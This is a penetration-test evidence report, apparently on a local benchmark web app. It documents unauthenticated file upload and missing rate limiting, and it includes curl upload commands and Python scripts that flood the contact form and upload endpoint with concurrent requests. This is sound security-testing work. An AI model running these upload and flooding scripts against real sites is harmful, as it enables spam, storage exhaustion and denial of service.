# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: Unauthenticated File Upload

**Summary:**
- **Vulnerable location:** POST /posts/upload-article.php
- **Overview:** The file upload endpoint is completely publicly accessible without any authentication checks. Any anonymous user can upload arbitrary files to the server.
- **Impact:** Unauthorized file upload enables malware distribution, storage exhaustion, and potential remote code execution when chained with LFI vulnerabilities. Complete authentication bypass on critical functionality.
- **Severity:** Critical

**Prerequisites:** None - endpoint is publicly accessible

**Exploitation Steps:**

1. **Access the upload form without authentication**
```bash
curl http://localhost:36367/posts/upload-article.php
# Returns HTTP 200 with upload form - no authentication required
```

2. **Create a test file to upload**
```bash
cat > /tmp/test_upload.txt << 'TESTFILE'
This is a test file uploaded without authentication.
Timestamp: 2025-10-27 22:58 UTC
Purpose: Proof of authentication bypass vulnerability
TESTFILE
```

3. **Upload the file without providing any credentials**
```bash
curl -X POST 'http://localhost:36367/posts/upload-article.php' \
  -F 'name=Unauthorized User' \
  -F 'email=attacker@malicious.com' \
  -F 'articleFile=@/tmp/test_upload.txt'
# Returns HTTP 200 with "Thank you for submitting your article, we will review it shortly."
```

4. **Verify the uploaded file is publicly accessible**
```bash
curl 'http://localhost:36367/posts/uploads/test_upload.txt'
# Returns the file content - proving successful unauthorized upload
```

5. **Upload additional files to demonstrate full control (HTML file as proof)**
```bash
cat > /tmp/malicious_proof.html << 'HTMLFILE'
<!DOCTYPE html>
<html>
<head><title>Proof of Unauthenticated Upload</title></head>
<body>
<h1>SECURITY BREACH - Unauthenticated File Upload</h1>
<p>This file was uploaded by an unauthorized user without any authentication.</p>
<p>Attack Vector: POST /posts/upload-article.php with no authentication required</p>
<p>Timestamp: 2025-10-27 22:58 UTC</p>
<p>Attacker: pentester@security-audit.test</p>
</body>
</html>
HTMLFILE

curl -X POST 'http://localhost:36367/posts/upload-article.php' \
  -F 'name=Penetration Tester' \
  -F 'email=pentester@security-audit.test' \
  -F 'articleFile=@/tmp/malicious_proof.html'
```

6. **Access the HTML file via browser**
```bash
curl 'http://localhost:36367/posts/uploads/malicious_proof.html'
# Returns the HTML file - proves arbitrary file hosting capability
```

**Proof of Impact:**
- Successfully uploaded 2 test files (test_upload.txt and malicious_proof.html) without any authentication
- Files are publicly accessible via direct URLs
- No authentication checks exist in the upload code (/var/www/html/posts/upload-article.php lines 8-36)
- Server accepts and stores files from anonymous attackers
- Complete bypass of authentication requirements for privileged file upload functionality

**Attack Chain Potential:**
This vulnerability can be chained with:
- Local File Inclusion (LFI) in post.php for potential Remote Code Execution
- Storage exhaustion for Denial of Service
- Malware distribution and phishing attacks
- XSS payload hosting

**Notes:** 
Code analysis confirmed no authentication checks exist at `/var/www/html/posts/upload-article.php`. The endpoint processes uploads starting at line 8 without any `session_start()`, password verification, or access control checks. While `.htaccess` prevents direct PHP execution in the uploads directory, files can still be included via the LFI vulnerability in post.php.

---

### AUTH-VULN-02: Missing Rate Limiting on Contact Form

**Summary:**
- **Vulnerable location:** POST /contact.php
- **Current State:** No rate limiting, CAPTCHA, or abuse prevention controls exist
- **Impact:** Enables automated spam flooding, resource exhaustion, and denial of service attacks. Attackers can submit unlimited automated requests.
- **Severity:** High

**Prerequisites:** None - endpoint is publicly accessible

**Exploitation Steps:**

1. **Create automated spam attack script**
```python
# File: test_rate_limiting.py
import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

url = "http://localhost:36367/contact.php"
num_requests = 50

def send_request(i):
    data = {
        'name': f'Spam Bot {i}',
        'email': f'spam{i}@test.com',
        'message': f'Automated spam message {i}'
    }
    try:
        response = requests.post(url, data=data, timeout=10)
        return {'num': i, 'status': response.status_code, 'success': 'Thank you' in response.text}
    except Exception as e:
        return {'num': i, 'status': 0, 'error': str(e)}

start_time = time.time()
results = []

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(send_request, i) for i in range(1, num_requests + 1)]
    for future in as_completed(futures):
        results.append(future.result())

end_time = time.time()
duration = end_time - start_time

# Calculate statistics
successful = sum(1 for r in results if r.get('status') == 200)
rate_limited = sum(1 for r in results if r.get('status') == 429)

print(f"\nTotal Requests: {num_requests}")
print(f"Successful (HTTP 200): {successful}/{num_requests}")
print(f"Rate Limited (HTTP 429): {rate_limited}")
print(f"Average Rate: {num_requests/duration:.2f} requests/second")
```

2. **Execute the automated attack**
```bash
cd /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-028-24/
python test_rate_limiting.py
```

**Proof of Impact:**

Automated attack results:
- **Total Requests Sent:** 50
- **Successful Submissions (HTTP 200):** 50/50 (100%)
- **Rate Limited (HTTP 429):** 0
- **Other Errors:** 0
- **Average Request Rate:** 675.17 requests/second
- **Total Time:** 0.07 seconds

All 50 rapid POST requests succeeded without any rate limiting or throttling. The application processed over 675 requests per second with no protective controls.

**Notes:**
Code analysis at `/var/www/html/contact.php` lines 7-33 confirmed no rate limiting functions, no CAPTCHA implementation, and no abuse prevention controls. Apache configuration also lacks mod_evasive or mod_security modules. This enables trivial automated spam and resource exhaustion attacks.

---

### AUTH-VULN-03: Missing Rate Limiting on File Upload Endpoint

**Summary:**
- **Vulnerable location:** POST /posts/upload-article.php
- **Current State:** No rate limiting on file uploads, no upload quota, no per-IP throttling
- **Impact:** Enables upload flooding for storage exhaustion and denial of service. Attackers can upload unlimited files in rapid succession.
- **Severity:** High

**Prerequisites:** None - endpoint is publicly accessible (also lacks authentication per AUTH-VULN-01)

**Exploitation Steps:**

1. **Create automated upload flood script**
```python
# File: test_upload_rate_limit.py
import requests
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import io

url = "http://localhost:36367/posts/upload-article.php"
num_uploads = 30

def send_upload(i):
    files = {
        'articleFile': (f'flood_test_{i}.txt', io.BytesIO(b'X' * 100), 'text/plain')
    }
    data = {
        'name': f'Upload Bot {i}',
        'email': f'upload{i}@test.com'
    }
    try:
        response = requests.post(url, files=files, data=data, timeout=10)
        return {
            'num': i, 
            'status': response.status_code, 
            'success': 'Thank you for submitting' in response.text
        }
    except Exception as e:
        return {'num': i, 'status': 0, 'error': str(e)}

start_time = time.time()
results = []

with ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(send_upload, i) for i in range(1, num_uploads + 1)]
    for future in as_completed(futures):
        results.append(future.result())

end_time = time.time()
duration = end_time - start_time

# Calculate statistics
successful = sum(1 for r in results if r.get('success'))
rate_limited = sum(1 for r in results if r.get('status') == 429)

print(f"\nTotal Uploads Attempted: {num_uploads}")
print(f"Successful Uploads: {successful}/{num_uploads}")
print(f"Rate Limited (HTTP 429): {rate_limited}")
print(f"Average Upload Rate: {num_uploads/duration:.2f} uploads/second")
print(f"Total Duration: {duration:.3f} seconds")
```

2. **Execute the upload flood attack**
```bash
cd /Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-028-24/
python test_upload_rate_limit.py
```

3. **Verify files were created on server**
```bash
curl -s 'http://localhost:36367/posts/uploads/' | grep flood_test
# Shows directory listing or access flood_test files individually
```

**Proof of Impact:**

Upload flood attack results:
- **Total Uploads Attempted:** 30
- **Successful Uploads:** 30/30 (100%)
- **Upload Success Rate:** 100%
- **Upload Rate:** 1,068.34 uploads/second
- **Total Test Duration:** 0.028 seconds
- **Average Response Time:** 0.009 seconds per request
- **Files Created on Server:** All 30 test files confirmed in `/var/www/html/posts/uploads/`

All 30 file uploads completed successfully in under 30 milliseconds with no rate limiting. Server processed over 1,000 uploads per second without restriction.

**Attack Scenario:**
An attacker can:
1. Upload thousands of files rapidly to exhaust disk space
2. Cause denial of service through storage exhaustion
3. Overwhelm server resources with concurrent upload processing
4. Generate excessive cloud storage costs if deployed on cloud infrastructure

**Notes:**
Combined with AUTH-VULN-01 (no authentication) and no file type validation, this enables trivial DoS attacks. Code at `/var/www/html/posts/upload-article.php` lines 8-36 has no rate limiting, no upload quota checks, and no per-IP throttling. The `upload_max_filesize` is 2MB but no limit exists on number of uploads.

---

## Out of Scope Vulnerabilities (Require Internal Access)

The following vulnerabilities are valid security issues but cannot be exploited via the external network interface at http://localhost:36367. These require internal network access, physical access to victim machines, or infrastructure-level positioning.

### AUTH-VULN-04: No HTTPS Enforcement (OUT_OF_SCOPE_INTERNAL)

**Summary:**
- **Vulnerable location:** ALL endpoints
- **Security Issue:** Application serves all content over HTTP without HTTPS enforcement, no HSTS headers
- **Why Out of Scope:** Exploiting this vulnerability requires network-level access to intercept traffic (MITM position), which cannot be achieved via the external web interface
- **Potential Impact (if exploitable):** Network attackers could intercept cleartext traffic containing form submissions and uploaded files

**Evidence of Vulnerability:**
```bash
curl -I http://localhost:36367/
# HTTP/1.1 200 OK
# Server: Apache/2.4.54 (Debian)
# No Strict-Transport-Security header present
# No HTTPS redirect
```

**Why Cannot Be Exploited Externally:**
- Requires position on network path between client and server
- Needs network sniffing tools (Wireshark, tcpdump) with appropriate network access
- Requires infrastructure-level access beyond application HTTP interface
- Per scope constraints: "DO NOT attempt to exploit vulnerabilities that require: Internal network access"

**What Can Be Confirmed:**
- Application only listens on HTTP port 80 (no HTTPS available)
- No `Strict-Transport-Security` header in responses
- No HTTP-to-HTTPS redirect configured
- Data transmission is in cleartext (confirmed via curl verbose output)

**What Cannot Be Demonstrated:**
- Actual traffic interception (requires MITM position)
- Packet capture of victim traffic (requires network access)
- Man-in-the-middle attack execution (requires infrastructure control)

---

### AUTH-VULN-05: No Cache Control on Contact Form (OUT_OF_SCOPE_INTERNAL)

**Summary:**
- **Vulnerable location:** POST /contact.php
- **Security Issue:** No `Cache-Control: no-store` or `Pragma: no-cache` headers, allowing browser/proxy caching
- **Why Out of Scope:** Exploiting requires access to victim's browser cache (local access) or proxy cache (infrastructure access)
- **Potential Impact (if exploitable):** Attackers with access to shared computers or proxy servers could retrieve cached form data

**Evidence of Vulnerability:**
```bash
curl -I 'http://localhost:36367/contact.php'
# HTTP/1.1 200 OK
# Date: Mon, 27 Oct 2025 23:02:08 GMT
# Server: Apache/2.4.54 (Debian)
# X-Powered-By: PHP/7.4.33
# (No Cache-Control or Pragma headers present)
```

**Why Cannot Be Exploited Externally:**
- Requires physical access to victim's computer to inspect browser cache
- Requires access to proxy server's cache storage
- Cannot access other users' cached data via HTTP interface
- Per scope constraints: Browser cache is local to each user

**What Can Be Confirmed:**
- Missing `Cache-Control: no-store` header
- Missing `Pragma: no-cache` header
- Code analysis shows no cache control headers set in `/var/www/html/contact.php`

**What Cannot Be Demonstrated:**
- Accessing another user's browser cache (requires local access)
- Retrieving cached responses from proxy (requires proxy access)
- Actual cached data extraction (requires victim system access)

---

### AUTH-VULN-06: No Cache Control on Upload Form (OUT_OF_SCOPE_INTERNAL)

**Summary:**
- **Vulnerable location:** POST /posts/upload-article.php
- **Security Issue:** No `Cache-Control: no-store` or `Pragma: no-cache` headers on upload endpoint
- **Why Out of Scope:** Exploiting requires access to victim's browser cache (local access) or proxy cache (infrastructure access)
- **Potential Impact (if exploitable):** Cached upload form responses could expose uploader information (names, emails)

**Evidence of Vulnerability:**
```bash
curl -I 'http://localhost:36367/posts/upload-article.php'
# HTTP/1.1 200 OK
# Server: Apache/2.4.54 (Debian)
# X-Powered-By: PHP/7.4.33
# (No Cache-Control or Pragma headers present)
```

**Why Cannot Be Exploited Externally:**
- Same constraints as AUTH-VULN-05
- Requires local access to victim's browser cache or proxy access
- Cannot be demonstrated via external network interface
- Cache inspection requires victim system or infrastructure access

**What Can Be Confirmed:**
- Missing cache control headers on upload endpoint
- Responses may be cached by browsers and proxies
- Code at `/var/www/html/posts/upload-article.php` sets no cache headers

**What Cannot Be Demonstrated:**
- Accessing cached upload form data from another user
- Retrieving cached responses from shared proxy
- Actual cache inspection attack (requires local/proxy access)
